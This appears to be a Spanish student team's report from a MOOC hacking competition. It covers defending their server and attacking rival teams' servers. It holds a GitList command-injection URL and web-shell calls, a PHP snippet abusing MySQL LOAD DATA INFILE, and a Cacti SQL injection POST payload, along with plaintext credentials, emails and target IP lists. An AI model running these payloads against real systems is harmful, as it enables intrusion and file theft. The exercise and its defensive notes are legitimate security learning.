18
Integrantes: José Luis Lucas Saorín [email protected] Jhonatan Ospina [email protected] Anderson Barrios Anton Alberdi [email protected] Mooc Fran [email protected] Oscar Eduardo Navarrete Abarca [email protected] Jesus Pardo Delgado [email protected] Oscar Fernando Castillo Delabarra [email protected] Datos del Servidor: IP : 188.166.84.116 He cambiado la password de mysql root a la misma que root BD Mysql 5.5.44-0+deb7u1 Se obtiene de : cd /etc/cacti more debian.php Usuario/Clave : cacti/epMeOwAb9 -- se cambia a b78d28f826cb1616ab580f1aa865627c Aplicaciones:

Web viewIntegrantes: José Luis Lucas Saorín. [email protected]. Jhonatan Ospina. [email protected]. Anderson Barrios

  • Upload
    dokiet

  • View
    219

  • Download
    3

Embed Size (px)

Citation preview

Page 1: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

Integrantes:José Luis Lucas Saorín [email protected] Ospina [email protected] BarriosAnton Alberdi [email protected] Fran [email protected] Eduardo Navarrete Abarca [email protected] Pardo Delgado [email protected] Fernando Castillo Delabarra [email protected]

Datos del Servidor:

IP : 188.166.84.116

He cambiado la password de mysql root a la misma que root

BD Mysql 5.5.44-0+deb7u1

Se obtiene de :cd /etc/cactimore debian.php

Usuario/Clave : cacti/epMeOwAb9 -- se cambia a b78d28f826cb1616ab580f1aa865627c

Aplicaciones:CACTI : http://188.166.84.116/cacti/index.phpuser admin y pass b78d28f826cb1616ab580f1aa865627c Si el resto de equipos no lo cambia la pass es la misma epMeOwAb9, podemos probarlo.

gitlist

Page 2: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

http://188.166.84.116/gitlist/

Archivos MOOC encontrados.

./usr/ftp

Resultado del escaneo con nmap antes de realizar ninguna modificación en el servidor, comprobando S.O., con escaneo de puertos y servicios.

Accesos 07-10

Page 3: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

Principales Vulnerabilidades encontradas:

Vulnerabilidad en FTP Anonymous.

Una vulnerabilidad grave encontrada es que al escribir en el navegador por ftp://188.166.84.116/ se encuentra facilmente el archivo del nivel 02. mooc-hacking-team-0006-level-02.gpg. Para poder protegerse de este ataque es necesario desactivar el ingreso anónimo al servidor FTP. Proceso realizado por los compañeros del grupo. Sin embargo aún es posible atacar el FTP y obtener el usuario y clave por fuerza bruta u obtener el archivo del nivel 02 por una vulnerabilidad en el servicio getlist.

De momento resuelta desactivando el acceso anónimo. La fuerza bruta se puede contener con un password complejo.

Archivo de configuración /etc/vsftpd.conf

Vulnerabilidades GitList 0.4.0 Remote Code Execution.

Al buscar las vulnerabilidades en internet sobre gitlist, se encuentran que la versión instalada en el server tiene muchas vulnerabilidades, el compañero Jesus Pardo encontró un exploit para poder explotar valga la redundancia el fallo que permite escribir cualquier archivo en la ruta /var/www/gitlist/cache y ahi es posible ejecutar comandos. El exploit se encuentra aquí.

Fuente:https://www.exploit-db.com/exploits/33929/Ejecución del script:

Page 4: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

Una vez ejecutado el script, si todo va bien nos devuelve un links con el cual podemos ejecutar comandos, para poder obtener la información.

Tambien se puede llamar directamente, sin ejecutar el exploit, a

ip/gitlist/gitlist/blame/master/""`ls -l /var/www/gitlist/cache/`

PGP GitLilsthttp://188.166.84.116/gitlist/cache/x.php?cmd=cat%20/usr/share/doc/base-files/mooc-hacking-team-0006-level-01.gpg

PGP FTPhttp://188.166.84.116/gitlist/cache/x.php?cmd= cat%20/srv/ftp/mooc-hacking-team- 0006-level-03.gpg

Adicionalmente.. aca esta mi aporte con las direcciones de los servidores que encontre.. haciendo un barrido de IPs, algunas direcciones ip están dentro del mismo segmento de red, por lo cual un atacante podría descubrirlas haciendo un ping sweep, enviando solicitudes ICMP a los servidores para que estos las respondan.

1. http://188.166.63.247 Team 222. http://188.166.63.225 Team 073. http://188.166.77.67 Team 044. http://188.166.83.109/ Team 055. http://188.166.84.116/ Team 066. http://188.166.86.130 Team 087. http://188.166.93.179 Team 10

Page 5: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

8. http://188.166.102.8 Team 289. http://188.166.108.50 Team 2910.http://188.166.109.57 Team 3011.http://188.166.110.64 Team 3112.http://188.166.121.119 Team1113.http://188.166.0.41 Team 1214.http://188.166.6.83 Team 1615.http://188.166.27.230 Team 1916.http://188.166.123.155 Team 32

De los cuales pueden ser vulnerables a ataques en ftp, gitlist, mysql y cacti, sin embargo no se realizó ningún ataque en contra de los mismos antes de lo reglamentado.

Gitlist Exploit en Python

El exploit crea el archivo x.php en la dirección /var/www/gitlist/cache

La vulnerabilidad se describe aqui: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/

Habría que modificar el archivo Repository.php o actualizar. En todo caso nuestro gitllist ya no es vulnerable (que alguien más lo compruebe).

/var/www/gitlist/src/GitList/Git/Repository.php

Configuraciones realizadas para proteger el servidor de ataques de reconocimiento, escaneo y fingerprinting:Fingerprinting attack: este ataque se realiza para obtener una huella digital o información básica acerca del servidor, servicios, puertos, enumeración, aplicaciones web etc.

Actualización del servidor e Instalación de fail2banapt-get install fail2ban && service fail2ban start

Page 6: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

Configuración de archivo sysctl.conf - configuraciones básicas de seguridad

Configuración de protección básica contra ip spoofing

Page 7: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

Denegación de respuesta a solicitudes ICMPecho > “1” /proc/sys/net/ipv4/icmp_echo_ignore_all

Instalación de denyhostsapt-get install denyhosts && service denyhosts start

Configuración de Iptables para evitar escaneos con nmap y ataques DoS básicos: Se deniegan las respuestas a diferentes flags TCP y UDP, no hay imágenes disponibles; pero la configuración fue realizada con éxito y guardada en un archivo de respaldo, el cual se pueden restaurar con /sbin/iptables-restore < /root/dsl.fw , el archivo dsl.fw contiene las reglas configuradas en iptables.Parchado de CACTI

Page 8: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

https://docs.google.com/document/d/1H1uDIVX7u0huMmHwi9hjawN2mK9EV3d23hYOm6B67v8/editInicio de Auditorias, ataque y defensa 13/10/2015

Page 9: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

Mediante el usuario anónimo de Ftp de los servidores hemos conseguido 27

archivos de equipos rivales:

10 level 2, 16, 29, 51,60,61,63,65,67,695,8,28,29,30,31,32 ?Tabla de direcciones IP de servidores y archivos gpg obtenidos

Page 10: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

Hasta el momento las vulnerabilidades más explotadas han sido en las aplicaciones web gitlist y el servidor de transferencia de archivos ftp.

Dirección IPlevel 1 (gitlist)

level 2 (ftp)

level 3 (cacti) Team Notas

178.62.243.26

188.166.52.148

128.199.48.121 x x 3

188.166.77.67 x x 4vulnerable gitlist

188.166.83.109 5

188.166.84.116Nuestro Server

188.166.63.225 x x 7vulnerable gitlist

188.166.86.130 8

188.166.90.158

188.166.93.179 x x x 10

188.166.121.119

188.166.0.41 x x x 12

178.62.194.201 x x x 13

188.166.1.48 gitlist caido

178.62.197.222

188.166.6.83 x 16 gitlist caido

178.62.203.8 auth

178.62.219.120 x 18

vulnerable gitlist, no tiene cacti

188.166.27.230 x x x oculto 19

178.62.225.162 x x 20

128.199.56.199

188.166.63.247 x x x 22

128.199.57.206 no responde

188.166.87.159

Page 11: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

128.199.62.241 x x x 25

188.166.94.208 x x 26

188.166.100.250 gitlist auth

188.166.102.8 28vulnerable gitlist

188.166.108.50 x 29

188.166.109.57 30 gitlist auth

188.166.110.64 31

188.166.123.155 32

178.62.196.237 no hay gitlist

178.62.228.229

178.62.229.236 x x x 35

188.166.40.111

128.199.38.98 no responde

128.199.39.105 tiene gitlist caido

178.62.242.71 x x x 39

178.62.245.92

188.166.51.188 x x 41

188.166.52.195 no tiene gpg’s

188.166.74.93 no responde

178.62.248.113 x x x 44

188.166.102.65 x x 51

vulnerable gitlist, mysql caido

188.166.106.93 x x 52

188.166.107.100 x x x 53

188.166.112.135 x x 54 caído

188.166.125.226 x x 55

178.62.199.59

188.166.7.169 x x x 57

Page 12: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

178.62.202.80 x x x 58

178.62.205.101 x x x 59

188.166.17.239 x x x 60

188.166.64.87 x x 61

178.62.241.128 no responde

128.199.41.183x x 63

vulnerable gitlist,mysql caído

188.166.70.129 x x x 64

188.166.73.150 x x x 65

188.166.77.178

188.166.89.6 x 67 caído

188.166.102.97 caído

188.166.115.188 x x x 69

188.166.118.209 mal

178.62.246.186 x x x 71

128.199.45.234 x x x 72

188.166.74.180 x x x 73

178.62.247.193 x x x 74

178.62.248.200 x x x 75

188.166.57.61 x x 76

vulnerable gitlist, el cacti no va

188.166.78.208 x x x 77

188.166.79.215 x x 78 caído

- de 23 equipos los 3 = 69- de 14 equipos 2 = 28- de 4 equipos 1 =4 (3 level 2 +1 l1)

Total 101

- level 1: 23 +14 +1 = 38- level 2: 23 +14 +3 = 40- level 3: 23

Page 13: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

En total hemos atacado 41 equipos (de 71 posibles)

Método para los level 3

La explicación aquí:http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/

la forma de asegurarlo es disable all LOAD DATA LOCAL statements from the server side by starting mysqld with the –local-infile=0 option.

Se precisa que la contraseña de Cacti sea por defecto y se usa inyección sql pero no directamente sobre el sitio de cacti sino por php. Por tanto se requiere primero poder subir archivos (vulnerabilidad gitlist). La inyección php es

$c = mysql_connect('localhost', 'cacti', 'epMeOwAb9') or die(mysql_error());mysql_select_db ('cacti') or die(mysql_error());mysql_query('CREATE TABLE IF NOT EXISTS mooc (path longtext not null)',$c) or die(mysql_error());mysql_query("LOAD DATA INFILE '{$f03}' INTO TABLE mooc",$c) or die(mysql_error());$r = mysql_query('select * from mooc', $c) or die(mysql_error());while($row = mysql_fetch_assoc($r)) { echo $row[path]; }mysql_query('drop table mooc', $c);mysql_close($c);

Se conecta a la base de datos, se crea una tabla y se carga el archivo level 3 ({$f03}) para por último leerlo en el servidor www.

Razón del agujero

The problem is that MySQL is a service running on it’s own. Usually, your PHP process is “jailed” within the limits of the www-data user or the one that suPHP has provided you…I’m thinking of a standard Debian installation, where MySQL usually runs under user “mysql”, which has access to some interesting stuff, like /var/log/mysql.err,/var/log/mysql.log.*, /var/log/mysql/* and /var/lib/mysql/*, and this without considering all what the privileges of the user “mysql” implies.

Page 14: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

Inyección Sql Cacti

Puede funcionar si el cacti es el 0.8.8.a sin parchar. En principio no hace falta estar logueado, pero las pruebas las he hecho en local logueado.

Se utiliza la vulnerabilidad https://www.cvedetails.com/cve/CVE-2014-5261/

Al acceder a la página cacti/graph_settings.php y guardarla he observado en el log de cacti la siguiente llamada sql

REPLACE INTO settings_graphs (user_id,name,value) values (1,'unit_size', '8')

La inyección se puede hacer en el valor size (8) engañando al mysql, por ejemplo

REPLACE INTO settings_graphs (user_id,name,value) values (1,'unit_size', '8'); create table mooc (path longtext not null); load_file ('/var/www/index.html') into mooc; select * from mooc into outfile '/var/www/cache/g.txt');# ‘)

En cursiva la parte que hay que inyectar. Al final el cacti añade ‘) para cerrar el comando.

De esa manera se podrían ejecutar los comandos sql que queramos. Lo que pasa que ahora hay pocos sitios donde probar. La llamada ha de ser POST, por ejemplo:

$post=”__csrf_magic=sid%3A2abf8de6c37e3f3b60dad64b1ca11a8b699ec66d%2C1445433992&default_rra_id=1&default_view_mode=1&default_timespan=7&default_timeshift=7&first_weekdayid=1&day_shift_start=07%3A00&day_shift_end=18%3A00&default_date_format=4&default_datechar=1&page_refresh=300&default_height=100&default_width=300&num_columns=2&default_tree_id=1&default_tree_view_mode=2&treeview_graphs_per_page=10&default_dual_pane_width=200&preview_graphs_per_page=10&list_graphs_per_page=30&custom_fonts=on&title_size=12&title_font=&legend_size=10&legend_font=&axis_size=8&axis_font=sdfsdf

&unit_size=8’); create table mooc (path longtext not null); load_file ('/var/www/index.html') into mooc; select * from mooc into outfile '/var/www/cache/g.txt';#”;

Se inyecta el parámetro unit_size

Page 15: Web viewIntegrantes: José Luis Lucas Saorín. denobisipsis@gmail.com. Jhonatan Ospina. jhonsech@gmail.com. Anderson Barrios

El problema que encuentro son las comillas simples. No consigo que me queden así porque el cacti las pone con slashes, del tipo ‘8///’